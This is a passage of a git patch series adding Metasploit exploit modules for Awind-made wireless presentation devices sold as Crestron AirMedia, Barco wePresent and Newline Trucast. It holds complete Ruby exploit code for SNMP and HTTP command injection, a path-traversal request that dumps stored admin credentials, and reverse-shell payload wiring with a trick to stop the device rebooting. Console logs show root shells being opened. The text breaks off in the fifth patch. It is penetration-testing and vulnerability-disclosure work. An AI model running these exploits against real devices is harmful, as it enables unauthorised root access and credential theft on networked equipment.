From 479b09962cb1c5d44d9d7d1b3d5611cc496216b2 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 11 Sep 2018 15:16:23 +0200 Subject: [PATCH 01/15] Awind stuff. --- .../exploit/linux/snmp/awind_snmp_exec.md | 62 +++++++ .../linux/http/airmedia_am100_creds.rb | 149 +++++++++++++++++ .../linux/http/awind_oem_ate_command_exec.rb | 102 ++++++++++++ .../exploits/linux/snmp/awind_snmp_exec.rb | 153 ++++++++++++++++++ 4 files changed, 466 insertions(+) create mode 100644 documentation/modules/exploit/linux/snmp/awind_snmp_exec.md create mode 100644 modules/exploits/linux/http/airmedia_am100_creds.rb create mode 100644 modules/exploits/linux/http/awind_oem_ate_command_exec.rb create mode 100644 modules/exploits/linux/snmp/awind_snmp_exec.rb diff --git a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md new file mode 100644 index 000000000000..2c1abef17f64 --- /dev/null +++ b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md @@ -0,0 +1,62 @@ +## Description + + This module exploits an unauthenticated remote command injection vulnerability in QNAP NAS devices. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command. + + +## Vulnerable Application + + [QNAP](https://www.qnap.com/) designs and delivers high-quality network attached storage (NAS) and professional network video recorder (NVR) solutions to users from home, SOHO to small, medium businesses. + + This module was tested successfully on a QNAP TS-431 with firmware version 4.3.3.0262 (20170727). + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploit/linux/misc/qnap_transcode_server` + 3. Do: `set RHOST [IP]` + 4. Do: `set LHOST [IP]` + 5. Do: `run` + 6. You should get a session + + +## Options + + **Delay** + + How long to wait (in seconds) for the device to download the payload. + + +## Scenarios + + ``` + msf > use exploit/linux/misc/qnap_transcode_server + msf exploit(qnap_transcode_server) > set rhost 10.1.1.123 + rhost => 10.1.1.123 + msf exploit(qnap_transcode_server) > check + [*] 10.1.1.123:9251 The target service is running, but could not be validated. + msf exploit(qnap_transcode_server) > set lhost 10.1.1.197 + lhost => 10.1.1.197 + msf exploit(qnap_transcode_server) > run + + [*] Started reverse TCP handler on 10.1.1.197:4444 + [*] 10.1.1.123:9251 - Using URL: http://0.0.0.0:8080/IQrgbm + [*] 10.1.1.123:9251 - Local IP: http://10.1.1.197:8080/IQrgbm + [*] 10.1.1.123:9251 - Sent command successfully (52 bytes) + [*] 10.1.1.123:9251 - Waiting for the device to download the payload (30 seconds)... + [*] 10.1.1.123:9251 - Sent command successfully (22 bytes) + [*] 10.1.1.123:9251 - Sent command successfully (13 bytes) + [*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.123:53888) at 2017-08-13 05:05:18 -0400 + [*] 10.1.1.123:9251 - Sent command successfully (19 bytes) + [*] 10.1.1.123:9251 - Command Stager progress - 100.00% done (109/109 bytes) + [*] 10.1.1.123:9251 - Server stopped. + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 10.1.1.123 + OS : (Linux 3.2.26) + Architecture : armv7l + Meterpreter : armle/linux + ``` + diff --git a/modules/exploits/linux/http/airmedia_am100_creds.rb b/modules/exploits/linux/http/airmedia_am100_creds.rb new file mode 100644 index 000000000000..c5a3f07d6641 --- /dev/null +++ b/modules/exploits/linux/http/airmedia_am100_creds.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Airmedia AM-100 Remote Code Injection", + 'Description' => %q{ + This module exploits a vulnerability found in where untrusted inputs are fed to system command, leading to command injection. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ' + ], + 'References' => + [ + ['CVE', '2016-5640'], + ['CVE', '2016-5639'] + ], + 'Platform' => 'unix', + 'Targets' => [ [ 'Airmedia AM-100', {} ] ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'SSL' => false, + 'PAYLOAD' => 'cmd/unix/reverse_openssl' + }, + 'Arch' => [ ARCH_CMD ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl' + } + }, + 'DisclosureDate' => "Aug 8 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptString.new('TARGETURI', [true, 'The base path', '/']), + ]) + end + + + def check + opts = login + if opts + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"), + 'headers'=> + { + 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + } + }) + if res and res.code == 200 + version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*]*>([^<]*)[^<]*]*>]*>([^<]*) 'POST', + 'uri' => normalize_uri(uri, "/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html"), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'ATE_COMMAND' => cmd, + 'ATETXLEN' => 24, + 'ATE' => 'TXCONT' + } + }) + end + + def login(username, password) + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "/cgi-bin/login.cgi?lang=en&src=AwLoginAdmin.html"), + 'ctype' => 'application/x-www-form-urlencoded', + 'data' => "login=#{username}&account=#{username}&password=#{password}" + }) + if res and res.code == 200 + session_token = res.body.to_s.scan(/&([A-z0-9]{16})/).last.first.strip + return session_token + end + return nil + end + + def dump_creds + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, '/cgi-bin/login.cgi?lang=en&src=../../../../../../../../etc/content/AwDefault.xml'), + }) + if res and res.code == 200 + admin_username = res.body.to_s.scan(/name=\"WEB_ADMIN_ID\".*?value=\"([^\"]*)\"/).last.first.strip + admin_pass = res.body.to_s.scan(/name=\"LONG_ADMIN_PWD\".*?value=\"([^\"]*)\"/).last.first.strip + return {"username":admin_username, "password":admin_pass} + else + return nil + end + end + + def exploit + admin_creds = dump_creds + if admin_creds + print_good("Successfully dumped admin credentials: #{admin_creds}") + token = login(admin_creds[:username], admin_creds[:password]) + if token + print_good("Successfully authenticated. Token is #{token}.") + print_status("Exploiting...") + execute_command(payload.encoded, {'token' => token}) + else + print_error("An error occured while login in with dumped credentials.") + end + else + print_error("An error occurred while dumping creds. Not vulnerable ?") + end + end +end diff --git a/modules/exploits/linux/http/awind_oem_ate_command_exec.rb b/modules/exploits/linux/http/awind_oem_ate_command_exec.rb new file mode 100644 index 000000000000..608ab112b0fb --- /dev/null +++ b/modules/exploits/linux/http/awind_oem_ate_command_exec.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Awind and OEM'ed derivatives ATE_COMMAND Remote Code Injection", + 'Description' => %q{ + This module exploits a vulnerability found in wireless presentation devices OEM'ed by Awind to + different manufacturers such as Crestron, Barco, Newline, Extron, and Casio. + + The vulnerability lies in rftest.cgi where untrusted inputs from ATE_COMMAND POST parameter + is fed to system command, leading to command injection. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ', # Metasploit module + 'Cylance Vulnerability Research ' # Initial discovery + ], + 'References' => + [ + ['CVE', '2016-5639'], + ['CVE', '2016-5640'], + ['URL', 'https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-001.md'], + ['URL', 'https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-002.md'] + ], + 'Platform' => 'unix', + 'Targets' => [ + [ 'Crestron Airmedia AM-100 <= version 1.5.0.4', {} ], + [ 'Crestron Airmedia AM-101 <= version 2.5.0.12', {} ], + [ 'Awind WiPG-1600w <= version 2.0.1.8', {} ], + [ 'Awind WiPG-2000d <= version 2.1.6.2', {} ], + [ 'Barco wePresent 2000 <= version 2.1.5.7', {} ], + [ 'Newline Trucast 2 <= version 2.1.0.5', {} ], + [ 'Newline Trucast 3 <= version 2.1.3.7', {} ] + ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'RPORT' => 443, + 'SSL' => true, + 'PAYLOAD' => 'cmd/unix/reverse_openssl' + }, + 'Arch' => [ ARCH_CMD ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl' + } + }, + 'DisclosureDate' => "Aug 8 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptString.new('TARGETURI', [true, 'The base path', '/']), + ]) + end + + + def check + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, '/cgi-bin/login.cgi?lang=en&src=../../../../../../../../etc/sys.ver'), + }) + # TODO: check which version fixed this issue + if res and res.code == 200 + version = res.body.to_s.split("\n")[0] + print_status("Version is #{version}") + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + Exploit::CheckCode::Unknown + end + + def exploit + uri = target_uri.path + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html"), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'ATE_COMMAND' => payload.encoded, + 'ATETXLEN' => 24, + 'ATE' => 'TXCONT' + } + }) + end +end diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb new file mode 100644 index 000000000000..0b6904e2ef0c --- /dev/null +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -0,0 +1,153 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'openssl' +require 'base64' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::SNMPClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "AwindInc SNMP service command injection", + 'Description' => %q{ + This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to XXX system command, leading to command injection. + Please note: a valid SNMP read-write community is required to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ' + ], + 'References' => + [ + ['CVE', '2018-XXX'] + ], + 'Platform' => 'unix', + 'Targets' => [ [ 'Universal', {} ] ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'SSL' => false, + 'PAYLOAD' => 'cmd/unix/reverse_openssl' + }, + 'Arch' => [ ARCH_CMD ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl' + } + }, + 'DisclosureDate' => "XXXX", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']), + ]) + end + + + def check + # TODO: check if system is Crestron. If system is Crestron, check version + # Otherwise, return unknown + begin + connect_snmp + sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s + print_status("Target system is #{sys_description}") + return Exploit::CheckCode::Vulnerable + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + Exploit::CheckCode::Unknown + end + + def inject_payload(cmd) + begin + connect_snmp + varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd)) + resp = snmp.set(varbind) + if resp.error_status == :noError + print_status("Injection successful") + else + print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") + end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + end + + def trigger + begin + connect_snmp + varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1)) + resp = snmp.set(varbind) + if resp.error_status == :noError + print_status("Trigger successful") + else + print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") + end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + end + + def exploit + + # The payload must start with a valid FTP URI otherwise the injection point is not reached + cmd = "ftp://1.1.1.1/$(#{payload.encoded})" + + # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback + # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and + # keep our reverse shell opened :) + cmd += "$(pkill -f /etc/reboot.sh)" + + # the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad + cmd += "A" * (255-cmd.length) + + # we inject our payload in camFWUpgradeFTPURL + print_status("Injecting payload") + inject_payload(cmd) + + # we trigger the firmware download via FTP, which will end up calling this + # "/bin/getRemoteURL.sh %s %s %s %d" + print_status("Triggering call") + trigger() + end +end From ed7d9a10acd85cd6b0bfdbedc477008a39208d84 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Wed, 27 Mar 2019 14:13:36 +0100 Subject: [PATCH 02/15] Release of Awindinc SNMP exploit. --- .../exploit/linux/snmp/awind_snmp_exec.md | 95 ++++++++++--------- .../exploits/linux/snmp/awind_snmp_exec.rb | 29 ++++-- 2 files changed, 73 insertions(+), 51 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md index 2c1abef17f64..5a618b9d51a8 100644 --- a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md +++ b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md @@ -1,62 +1,69 @@ ## Description - This module exploits an unauthenticated remote command injection vulnerability in QNAP NAS devices. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command. +This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. +Note: a valid SNMP read-write community is required to exploit this vulnerability. -## Vulnerable Application +## Vulnerable Devices - [QNAP](https://www.qnap.com/) designs and delivers high-quality network attached storage (NAS) and professional network video recorder (NVR) solutions to users from home, SOHO to small, medium businesses. +The following devices are known to be affected by this issue: - This module was tested successfully on a QNAP TS-431 with firmware version 4.3.3.0262 (20170727). +* Crestron Airmedia AM-100 <= version 1.5.0.4 +* Crestron Airmedia AM-101 <= version 2.5.0.12 +* Awind WiPG-1600w <= version 2.0.1.8 +* Awind WiPG-2000d <= version 2.1.6.2 +* Barco wePresent 2000 <= version 2.1.5.7 +* Newline Trucast 2 <= version 2.1.0.5 +* Newline Trucast 3 <= version 2.1.3.7 ## Verification Steps 1. Start `msfconsole` - 2. Do: `use exploit/linux/misc/qnap_transcode_server` + 2. Do: `use exploit/linux/snmp/awind_snmp_exec` 3. Do: `set RHOST [IP]` 4. Do: `set LHOST [IP]` 5. Do: `run` 6. You should get a session - -## Options - - **Delay** - - How long to wait (in seconds) for the device to download the payload. - - ## Scenarios - ``` - msf > use exploit/linux/misc/qnap_transcode_server - msf exploit(qnap_transcode_server) > set rhost 10.1.1.123 - rhost => 10.1.1.123 - msf exploit(qnap_transcode_server) > check - [*] 10.1.1.123:9251 The target service is running, but could not be validated. - msf exploit(qnap_transcode_server) > set lhost 10.1.1.197 - lhost => 10.1.1.197 - msf exploit(qnap_transcode_server) > run - - [*] Started reverse TCP handler on 10.1.1.197:4444 - [*] 10.1.1.123:9251 - Using URL: http://0.0.0.0:8080/IQrgbm - [*] 10.1.1.123:9251 - Local IP: http://10.1.1.197:8080/IQrgbm - [*] 10.1.1.123:9251 - Sent command successfully (52 bytes) - [*] 10.1.1.123:9251 - Waiting for the device to download the payload (30 seconds)... - [*] 10.1.1.123:9251 - Sent command successfully (22 bytes) - [*] 10.1.1.123:9251 - Sent command successfully (13 bytes) - [*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.123:53888) at 2017-08-13 05:05:18 -0400 - [*] 10.1.1.123:9251 - Sent command successfully (19 bytes) - [*] 10.1.1.123:9251 - Command Stager progress - 100.00% done (109/109 bytes) - [*] 10.1.1.123:9251 - Server stopped. - - meterpreter > getuid - Server username: uid=0, gid=0, euid=0, egid=0 - meterpreter > sysinfo - Computer : 10.1.1.123 - OS : (Linux 3.2.26) - Architecture : armv7l - Meterpreter : armle/linux - ``` - +``` +msf5 > use exploit/linux/snmp/awind_snmp_exec +msf5 exploit(linux/snmp/awind_snmp_exec) > set RHOSTS 192.168.100.2 +RHOSTS => 192.168.100.2 +msf5 exploit(linux/snmp/awind_snmp_exec) > set LHOST 192.168.100.1 +LHOST => 192.168.100.1 +msf5 exploit(linux/snmp/awind_snmp_exec) > check + +[*] Target system is Crestron Electronics AM-100 (Version 2.6.0.6) +[+] 192.168.100.2:161 The target is vulnerable. +msf5 exploit(linux/snmp/awind_snmp_exec) > run + +[*] Started reverse double SSL handler on 192.168.100.1:4444 +[*] Injecting payload +[*] Injection successful +[*] Triggering call +[*] Trigger successful +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo LFNuuQAgrHrq1aq6; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "LFNuuQAgrHrq1aq6\n" +[*] Matching... +[*] A is input... +[*] Command shell session 1 opened (192.168.100.1:4444 -> 192.168.100.2:35189) at 2019-03-27 14:09:54 +0100 + +id +uid=0(root) gid=0(root) +uname -avr +Linux Crestron.AirMedia-1.1.wm8750 2.6.32.9-default #7 Thu Apr 2 16:50:50 CST 2015 armv6l GNU/Linux +``` + +## References + +* https://github.com/QKaiser/awind-research +* https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/ diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 0b6904e2ef0c..9bbbf83aa96f 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -15,8 +15,18 @@ def initialize(info={}) super(update_info(info, 'Name' => "AwindInc SNMP service command injection", 'Description' => %q{ - This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to XXX system command, leading to command injection. - Please note: a valid SNMP read-write community is required to exploit this vulnerability. + This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. + A valid SNMP read-write community is required to exploit this vulnerability. + + The following devices are known to be affected by this issue: + + * Crestron Airmedia AM-100 <= version 1.5.0.4 + * Crestron Airmedia AM-101 <= version 2.5.0.12 + * Awind WiPG-1600w <= version 2.0.1.8 + * Awind WiPG-2000d <= version 2.1.6.2 + * Barco wePresent 2000 <= version 2.1.5.7 + * Newline Trucast 2 <= version 2.1.0.5 + * Newline Trucast 3 <= version 2.1.3.7 }, 'License' => MSF_LICENSE, 'Author' => @@ -25,7 +35,9 @@ def initialize(info={}) ], 'References' => [ - ['CVE', '2018-XXX'] + ['CVE', '2017-16709'], + ['URL', 'https://github.com/QKaiser/awind-research'], + ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/'] ], 'Platform' => 'unix', 'Targets' => [ [ 'Universal', {} ] ], @@ -44,7 +56,7 @@ def initialize(info={}) 'RequiredCmd' => 'openssl' } }, - 'DisclosureDate' => "XXXX", + 'DisclosureDate' => "27/03/2019", 'DefaultTarget' => 0)) register_options( @@ -55,13 +67,16 @@ def initialize(info={}) def check - # TODO: check if system is Crestron. If system is Crestron, check version - # Otherwise, return unknown begin connect_snmp sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s print_status("Target system is #{sys_description}") - return Exploit::CheckCode::Vulnerable + # AM-100 and AM-101 considered EOL, no fix so no need to check version. + if sys_description.include? "Crestron Electronics AM-100" or sys.description.include? "Crestron Electronics AM-101" + return Exploit::CheckCode::Vulnerable + end + # TODO: insert description check for other vulnerable models (that I don't have) + # In the meantime, we return 'unknown'. rescue SNMP::RequestTimeout print_error("#{ip} SNMP request timeout.") rescue Rex::ConnectionError From 6fde3ea566eaeeee36bd0603221eae3af63e4700 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Wed, 27 Mar 2019 14:20:34 +0100 Subject: [PATCH 03/15] These files have nothing to do here. --- .../linux/http/airmedia_am100_creds.rb | 149 ------------------ .../linux/http/awind_oem_ate_command_exec.rb | 102 ------------ 2 files changed, 251 deletions(-) delete mode 100644 modules/exploits/linux/http/airmedia_am100_creds.rb delete mode 100644 modules/exploits/linux/http/awind_oem_ate_command_exec.rb diff --git a/modules/exploits/linux/http/airmedia_am100_creds.rb b/modules/exploits/linux/http/airmedia_am100_creds.rb deleted file mode 100644 index c5a3f07d6641..000000000000 --- a/modules/exploits/linux/http/airmedia_am100_creds.rb +++ /dev/null @@ -1,149 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - - def initialize(info={}) - super(update_info(info, - 'Name' => "Airmedia AM-100 Remote Code Injection", - 'Description' => %q{ - This module exploits a vulnerability found in where untrusted inputs are fed to system command, leading to command injection. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Quentin Kaiser ' - ], - 'References' => - [ - ['CVE', '2016-5640'], - ['CVE', '2016-5639'] - ], - 'Platform' => 'unix', - 'Targets' => [ [ 'Airmedia AM-100', {} ] ], - 'Privileged' => true, - 'DefaultOptions' => - { - 'SSL' => false, - 'PAYLOAD' => 'cmd/unix/reverse_openssl' - }, - 'Arch' => [ ARCH_CMD ], - 'Payload' => - { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'openssl' - } - }, - 'DisclosureDate' => "Aug 8 2016", - 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('SSL', [ true, 'Use SSL', true ]), - OptString.new('TARGETURI', [true, 'The base path', '/']), - ]) - end - - - def check - opts = login - if opts - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"), - 'headers'=> - { - 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", - 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", - 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", - } - }) - if res and res.code == 200 - version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*]*>([^<]*)[^<]*]*>]*>([^<]*) 'POST', - 'uri' => normalize_uri(uri, "/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html"), - 'ctype' => 'application/x-www-form-urlencoded', - 'vars_post' => { - 'ATE_COMMAND' => cmd, - 'ATETXLEN' => 24, - 'ATE' => 'TXCONT' - } - }) - end - - def login(username, password) - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, "/cgi-bin/login.cgi?lang=en&src=AwLoginAdmin.html"), - 'ctype' => 'application/x-www-form-urlencoded', - 'data' => "login=#{username}&account=#{username}&password=#{password}" - }) - if res and res.code == 200 - session_token = res.body.to_s.scan(/&([A-z0-9]{16})/).last.first.strip - return session_token - end - return nil - end - - def dump_creds - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, '/cgi-bin/login.cgi?lang=en&src=../../../../../../../../etc/content/AwDefault.xml'), - }) - if res and res.code == 200 - admin_username = res.body.to_s.scan(/name=\"WEB_ADMIN_ID\".*?value=\"([^\"]*)\"/).last.first.strip - admin_pass = res.body.to_s.scan(/name=\"LONG_ADMIN_PWD\".*?value=\"([^\"]*)\"/).last.first.strip - return {"username":admin_username, "password":admin_pass} - else - return nil - end - end - - def exploit - admin_creds = dump_creds - if admin_creds - print_good("Successfully dumped admin credentials: #{admin_creds}") - token = login(admin_creds[:username], admin_creds[:password]) - if token - print_good("Successfully authenticated. Token is #{token}.") - print_status("Exploiting...") - execute_command(payload.encoded, {'token' => token}) - else - print_error("An error occured while login in with dumped credentials.") - end - else - print_error("An error occurred while dumping creds. Not vulnerable ?") - end - end -end diff --git a/modules/exploits/linux/http/awind_oem_ate_command_exec.rb b/modules/exploits/linux/http/awind_oem_ate_command_exec.rb deleted file mode 100644 index 608ab112b0fb..000000000000 --- a/modules/exploits/linux/http/awind_oem_ate_command_exec.rb +++ /dev/null @@ -1,102 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - - def initialize(info={}) - super(update_info(info, - 'Name' => "Awind and OEM'ed derivatives ATE_COMMAND Remote Code Injection", - 'Description' => %q{ - This module exploits a vulnerability found in wireless presentation devices OEM'ed by Awind to - different manufacturers such as Crestron, Barco, Newline, Extron, and Casio. - - The vulnerability lies in rftest.cgi where untrusted inputs from ATE_COMMAND POST parameter - is fed to system command, leading to command injection. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Quentin Kaiser ', # Metasploit module - 'Cylance Vulnerability Research ' # Initial discovery - ], - 'References' => - [ - ['CVE', '2016-5639'], - ['CVE', '2016-5640'], - ['URL', 'https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-001.md'], - ['URL', 'https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-002.md'] - ], - 'Platform' => 'unix', - 'Targets' => [ - [ 'Crestron Airmedia AM-100 <= version 1.5.0.4', {} ], - [ 'Crestron Airmedia AM-101 <= version 2.5.0.12', {} ], - [ 'Awind WiPG-1600w <= version 2.0.1.8', {} ], - [ 'Awind WiPG-2000d <= version 2.1.6.2', {} ], - [ 'Barco wePresent 2000 <= version 2.1.5.7', {} ], - [ 'Newline Trucast 2 <= version 2.1.0.5', {} ], - [ 'Newline Trucast 3 <= version 2.1.3.7', {} ] - ], - 'Privileged' => true, - 'DefaultOptions' => - { - 'RPORT' => 443, - 'SSL' => true, - 'PAYLOAD' => 'cmd/unix/reverse_openssl' - }, - 'Arch' => [ ARCH_CMD ], - 'Payload' => - { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'openssl' - } - }, - 'DisclosureDate' => "Aug 8 2016", - 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('SSL', [ true, 'Use SSL', true ]), - OptString.new('TARGETURI', [true, 'The base path', '/']), - ]) - end - - - def check - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, '/cgi-bin/login.cgi?lang=en&src=../../../../../../../../etc/sys.ver'), - }) - # TODO: check which version fixed this issue - if res and res.code == 200 - version = res.body.to_s.split("\n")[0] - print_status("Version is #{version}") - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Safe - end - Exploit::CheckCode::Unknown - end - - def exploit - uri = target_uri.path - send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, "/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html"), - 'ctype' => 'application/x-www-form-urlencoded', - 'vars_post' => { - 'ATE_COMMAND' => payload.encoded, - 'ATETXLEN' => 24, - 'ATE' => 'TXCONT' - } - }) - end -end From de6f49305c318149c6e3fafb1f589b22fdb873de Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Wed, 27 Mar 2019 14:22:37 +0100 Subject: [PATCH 04/15] Correct disclosure date format. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 9bbbf83aa96f..431eca223b05 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -56,7 +56,7 @@ def initialize(info={}) 'RequiredCmd' => 'openssl' } }, - 'DisclosureDate' => "27/03/2019", + 'DisclosureDate' => "Mar 27 2019", 'DefaultTarget' => 0)) register_options( From cef8dc2fa2e7fb9634a52e1f5847a24bbecc4994 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 10:42:33 +0100 Subject: [PATCH 05/15] << is preferred. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb 